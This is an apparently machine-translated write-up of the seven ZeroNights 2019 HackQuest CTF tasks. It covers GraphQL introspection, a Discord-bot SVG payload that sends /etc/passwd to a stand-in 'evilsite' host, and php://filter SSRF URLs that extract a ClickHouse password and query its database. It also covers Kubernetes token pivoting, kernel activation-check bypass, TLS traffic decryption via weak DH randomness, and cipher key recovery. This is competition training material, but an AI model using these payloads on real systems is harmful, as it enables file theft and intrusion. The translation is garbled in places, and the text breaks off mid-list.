Most recently, the annual HackQuest, dedicated to the ZeroNights conference, has ended. As in previous years, the participants had to solve 7 different tasks - one for the day of the quest. Assignments, as always, helped prepare our community partners. You can find out how the tasks were solved, and who became the winners of the hackquest this time, under the cut.
Day 1. TOP SECRET
Winners | ||
1 place | 2nd place | |
vladvis | gotdaswag |
This yearโs first assignment was prepared by the Digital Security audit team. To solve it, the participants had to go through three stages: access the contents of the game portalโs internal chat, exploit the vulnerability in the Discord bot, and use the incorrect rights setting in the Kubernetes cluster.
1st step: graphql
- Initially, we get to a web application with a js client-side game and rating.
- In addition to static, only 1 request is made to the backend:
- You can get a list of all types and their fields with the following query:
{ __schema { types { name fields { name } } } }
- We see the comment field, request it in the initial request and get a link to the next step.
2nd step: Discord bot
- A bot meets us on the server and creates a separate channel for us
- Immediately we see a hint of SSRF in gitea, but I never got to that = (
- We try to read the local file:
<svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg>
- We get / etc / passwd and see 2 users: worker, on whose behalf svg and gitea are rendered
worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh
- This step I went through an unintended path: in .bash_history, the worker had the path to the ssh key and server address for the next step
cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit
3rd step: kubernetes
- It seems that I got to this stage first. .bash_history and ps were empty and from this I concluded that for each ip an isolated environment is created
- A token for kubernetes was found in mount
- At first, it was not clear where to get the token, and I began to scan the grid ... and at some point I began to walk around the neighbors in the cloud
- After that, a hint was issued on which subnets to scan, and rest api kubernetes was found almost immediately
- At this point, I realized that I was not alone on the server, and there was no desire to cut something, for example, masking cmdline, so I decided to do it
easierit is more painful and forward to itself socks proxy through ssh - Using
kubectl get pods
, a list of containers was obtained, and the kubernetes documentation suggested that exec could be used with the same syntax as docker - Then there was 1.5 hours of suffering with the socks proxy, through which websocket for exec did not rise. I ended up going directly to kubectl via ssh
- On the second container, a new token and it already had access to the cluster in the neighboring namespace zn2 (initially we are in namespace zn1), from which redis was visible
- Recall the report of @paulaxe from the past Zeronights and get RCE, for example, using this PoC
- Having received the next token, you can pull out the flag from kubernetes secrets
Day 2. MICOSOFT LUNIX
Winners | ||
1 place | 2nd place | 3rd place |
torn | Sin__ | AV1ct0r |
Also decided: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life |
The second day assignment was prepared by members of the r0 Crew community. To solve this, you need to generate an activation key for a Linux image with a modified kernel.
Given: jD74nd8_task2.iso
file, bootable ISO image. From the files inside the image, we can assume that it is Linux: there is a kernel boot/kernel.xz
, an initial ramdisk boot/rootfs.xz
and a boot loader boot/syslinux/
.
We try to unpack the kernel and ramdisk. Ramdisk here is a regular cpio archive compressed by xz. Unpack the kernel using the script https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux . You can also pay attention to the kernel information:
> file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA
Along the way, we find in the iso image the main task of minimal/rootfs/bin/activator
: it all comes down to writing the entered email data and activation key to the device /dev/activate
in the format $email|$key
. In case of a successful key check, reading from /dev/activate
will produce the ACTIVATED
line, and the activator in this case will start the game 2048.
It is time to look at the task in dynamics. To do this, run the emulator in KVM:
> qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso
Linux starts and immediately launches /bin/activator
from overlay. This is spelled out in /etc/inittab
. To avoid digging into the binar for a long time, I wanted to get a shell and look at least at /proc
and /sys
. The easiest way for me was to simply upload the iso file to the place where the activator script itself is located. Instead of sleep 1
set /bin/sh
, i.e. I received a shell after each attempt to enter a serial.
So there is a shell: we look that /proc/kallsyms
absent, i.e. missing kernel characters. With them, of course, it would be much faster, but that's okay. We are looking for information about the device /dev/activator
:
/ # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ...
From the information in /proc/devices
it can be seen that this is a char device with major version 252 and minor 0.
It is time to find the registration function of this device in the kernel binar to find the handler of its write
operation. To do this, find cross references to the string activate
. But there is no such line in the kernel, probably it is somehow hidden.
In the next attempt, we try to find the functions responsible for registering character devices: cdev_add
and register_chrdev
. This can be done by cross-referencing /dev/console
or any other character device and taking the kernel source code (I took version 5.0.11, but I'm not sure that the version is correct). Having looked at the list of devices that are being registered, we cannot find there a device with major version 252. There is probably no registration of these two functions.
Let's try to look for some other clues in the dynamics:
/ # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate
Here's the EEy????I
- the EEy????I
device EEy????I
We try to find this line in the binar and it is there!
Although no cross-references to it were found, nearby data similar to strings are visible. If you look at the code that uses them, you can see that these are the desired read and write handlers of the activate
device that are encrypted with simple XOR.
Read Processing Function:
The function of processing the write operation, it is also a license check:
A quick inspection of the activation verification code showed that it is easiest to just put a breakpoint at the address 0xFFFFFFFF811F094B
and pick up the activation code there, without really delving into what is happening there. To do this, run qemu with the -s
flag. In this case, qemu runs gdb stub, which allows you to use any gdb client. The easiest and fastest way to do this in IDA Pro, if you have a license. But no one forbids doing everything in console gdb.
We do everything as described in the official tutorial . Now you need to find the processing function inside the already running kernel.
Since the kernel is built with KASLR support, the addresses of the running kernel are shifted to a random offset that is generated every time the kernel starts. We calculate this offset (we take the address of the unique byte sequence in the code of the debugged kernel and subtract the address of this sequence in the binar from it) and, adding the activation function to the address, we find it in memory. Everything, now it's up to the small. Set a breakpoint and pick up the code.
The solution to this task has already been published on the hub by one of the participants. You can get acquainted with it here .
Day 3. HOUSE OF BECHED
Winners |
1 place |
blackfan |
Job prepared by beched ( DeteAct ). The participants were greeted by an unremarkable payment page. For the solution, it was necessary to access the Clickhouse database using the feature of the php function file_get_contents
.
The task is a payment page, where the only interesting parameter was callback_url.
We indicate your site and catch the request:
http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id=
POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0
An HTTP response is displayed only if the site returned an alphanumeric string. Examples of answers:
{"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."}
We try as callback_url data:, test and we understand that, most likely, this is PHP.
http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id=
We use php: // filter to read local files and encode the response using convert.base64-encode so that the answer matches alphanumeric. Due to the characters +, / and =, sometimes it is necessary to combine several base64 calls to display an answer.
http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php
<?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port'
The response output is limited to 200 bytes, but from the fragments we learn about the availability of the database on localhost. We sort through the ports via callback_url and find a fresh article on injection in ClickHouse on the DeteAct blog , which corresponds to the strange task name "HOUSE OF BECHED".
ClickHouse has an HTTP interface that allows you to perform arbitrary requests, which is very convenient to use in SSRF.
We read the documentation, try to get an account from the config.
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
<?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm
Again restrict the output, and judging by the standard file, the desired field is extremely far away.
Cut the excess using the filter string.strip_tags.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
But the output length is still not enough until the password is received. Add a compression filter zlib.deflate.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
And read locally in reverse order:
print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv'));
Having received the password, we can send ClickHouse requests as follows:
http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx'
But since we initially send POST, we need to get around this using redirection. And the final request turned out like this (at this stage I was very dull, because due to the large nesting of processing the parameters, I incorrectly encoded special characters and could not execute the request)
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=
Well, then just get the data from the database:
select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=
Day 4. ASR-EHD
Winners |
1 place |
AV1ct0r |
The fourth day assignment was prepared by the Digital Security Research Department. The main task of task was to show how the wrong choice of the source of random numbers can affect the cryptographic algorithm. In taskka, a self-written random private key generator for DH was implemented, based on LFSR. Upon receiving a sufficient number of consecutive TLS handshakes using public DH values, it was possible to restore the initial state of the LFSR and decrypt all traffic.
Day 4 / ASR-EHD - WriteUp by AV1ct0r
Peter is a little bit paranoid: he always uses encrypted connections. To be sure algorithms are secure Peter uses his own client. He even gave us a traffic dump which was made while using his custom client. Is Peter's connection really secure?
https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar
Open the client file in IDA Pro and see that it can download part of the flag.jpg file from the server https://ssltest.a1exdandy.me:443/ . What part of the file to download (from which byte) is taken from the command line.
signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; }
There were no pictures with the flag on the server, but dump.pcap turned out to have a bunch of ssl traffic, presumably with pieces of the picture. After a quick check of the server for heartbleed (to steal a private key for decrypting traffic), it was found out that the server is not vulnerable. In addition, in SSL sessions, according to the traffic dump and the client, the DHE-RSA-AES128-SHA256 cipher is used, in which RSA is used only for signing, and the keys are exchanged according to the Diffie-Hellman scheme (a private RSA server key in this mode will not help us )
Having a little podirbastiv the server found the file https://ssltest.a1exdandy.me/x , which is a simple malware, the admin address sewn into it is 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 opin1337). When connected to port 31337, it was found out that the server supports 3 commands, some of which ask for additional arguments
nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length:
But nothing could be done further with this port, and most likely it was a distracting task.
After looking carefully at the client, I saw that it uses a custom Diffie-Hellman secrets generator:
int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); }
Initially, the secret (512 bytes) is read from / dev / urandom and stored in the state file. With each subsequent request, the following magic happens with a secret:
XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR
The secret as a long number is shifted 1 bit to the left, and if the most significant bit was 1, then the number is at a constant of 5 non-zero bits (XOR).
Looking at pcap, I saw that the Diffie-Hellman parameters arriving from the server are constant:
dh_g = 2 dh_p =
And each time a connection is established, the client sends its public part of the Diffie-Hellman secret. By comparing the public parts of the secrets of neighboring sessions, you can restore the clientโs initial secret, and then all subsequent secrets for each session:
If the highest bit of the secret is 0, then in the next session the secret will simply be 2 times larger, and the public part will be squared modulo p. Thus, it was possible to restore the initial secret (what was read from / dev / urandom) modulo p:
212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347
and from it it is easy to calculate the secrets for all other sessions.
And here there were problems:
A) Wireshark is not able to decrypt SSL, knowing the secrets of Diffie-Hellman, and there were no ready-made solutions. We must figure out the general secret of Diffie-Hellman (aka pre-master key sessions), and use it to find a master key session using a large bicycle (I didnโt think there are bicycles in SSL). Next, you can make an SSLKEYLOG file in which to write client random (in each ssl session) and master key, specify it in the WireShark settings for SSL decryption and theoretically profit.
But a few more problems arose:
B) PHP considered it too slowly ( bcadd
, bcpowmod
... functions are not used), I decided to rewrite it in python.
C) The formula for calculating the master key by the pre-master key in human form could not be found, ssl is very difficult to understand, I could not get openssl to output the results of intermediate calculations either. As a result, I used such code , description and some kind of RFC:
As a result, after half a day I was able to overlay this (for me, it could not do without bicycles):
for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR
D) To tear out various client random, ... from Wireshark sessions, export to csv and search in raw traffic of what csv got as โ...โ were used.
E) To decrypt 4264 sessions, WireShark decided to eat a lot of gigabytes of operative (8 was not enough for him), but nothing, you can run everything on a powerful computer, and not on a weak laptop. However, when exporting http objects (decrypted pieces of a picture), WireShark can save only the first 1000 files, and then its numbering ends. As a result, I had to break pcap into 5 parts of 1000 tcp sessions in each. The result was such a beautiful picture after gluing all the pieces:
All files used by the winner to solve the task can be found here .
Day 5. PROTECTED SHELL
Winners | ||
1 place | 2nd place | 3rd place |
vos | Bartimaeous | Clo |
Also decided: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x @ secator, groke_in_the_sky, d3fl4t3 |
Assignment prepared by RuCTFE . Participants were given an obfuscated executable file with a number of anti-debugging techniques. The executable file is like an SSH client that is connected to a previously known server. The task is to understand the algorithm of this file to get the execution of commands on the server. The author's solution involved bypassing anti-debugging and analyzing obfuscation.
It is noteworthy that the fastest participant solved the task in an original way different from the one planned by the author, and after that he found another workaround. You can see how he did it under the spoiler below.
Day 6. UNLOCK
Winners | ||
1 place | 2nd place | 3rd place |
gotdaswag | medidrdrider | sysenter |
The sixth day assignment was prepared by the VolgaCTF team. Given an executable file that implements a custom cryptographic algorithm. The task is to decrypt the file given in the condition, encrypted using this algorithm, without having a known key.
INTRO
Given an archive with two files, locker and secret.png.enc .
The first file is an ELF for Linux x86-64, which receives a file and an encryption key as input, and the second is an encrypted PNG image.
# ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu
LOCKER
Having analyzed the file in the IDA, we find the encryption algorithm in the project :: main function.
Having studied it, we understand that this is a block cipher (ECB), with a block size of 32 bits , a key size of 64 bits and the number of rounds of 77 .
Python version
def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p
SECRET KEY
We know that the encrypted file is a PNG image.
Accordingly, we know a couple of plaintext ciphertext in the form of a file header (it is standard for PNG).
Let's try the simple way and use the SMT solver ( Z3 ) to find the encryption key.
To do this, slightly modify the code and submit to the input a pair of plaintext-ciphertext.
task6_key.py
import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key))
Decision:
> python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC
UNLOCKER
.
.
task6_unlocker.py
import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time))
, .
> python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds.
secret.png
ZN{RA$T0GR@PHY_H3RTS}
Day 7. Beep Beep!
Winners |
1 place |
sysenter |
Final hack quest provided by SchoolCTF . The participants had to parse a memory dump in which there was a program encrypting files. Complicated by the fact that the program was divided into several parts, which were injected into other processes.
Something that looks like VirtualBox RAM dump is provided to us.
We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.
No process memory for us today, so we will have to work with fragmented memory.
First of all let's precache strings from the dump.
strings > strings_ascii.txt strings -el > strings_wide.txt
Most interesting one is command execution log:
cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65
Not Important note:
Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).
SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 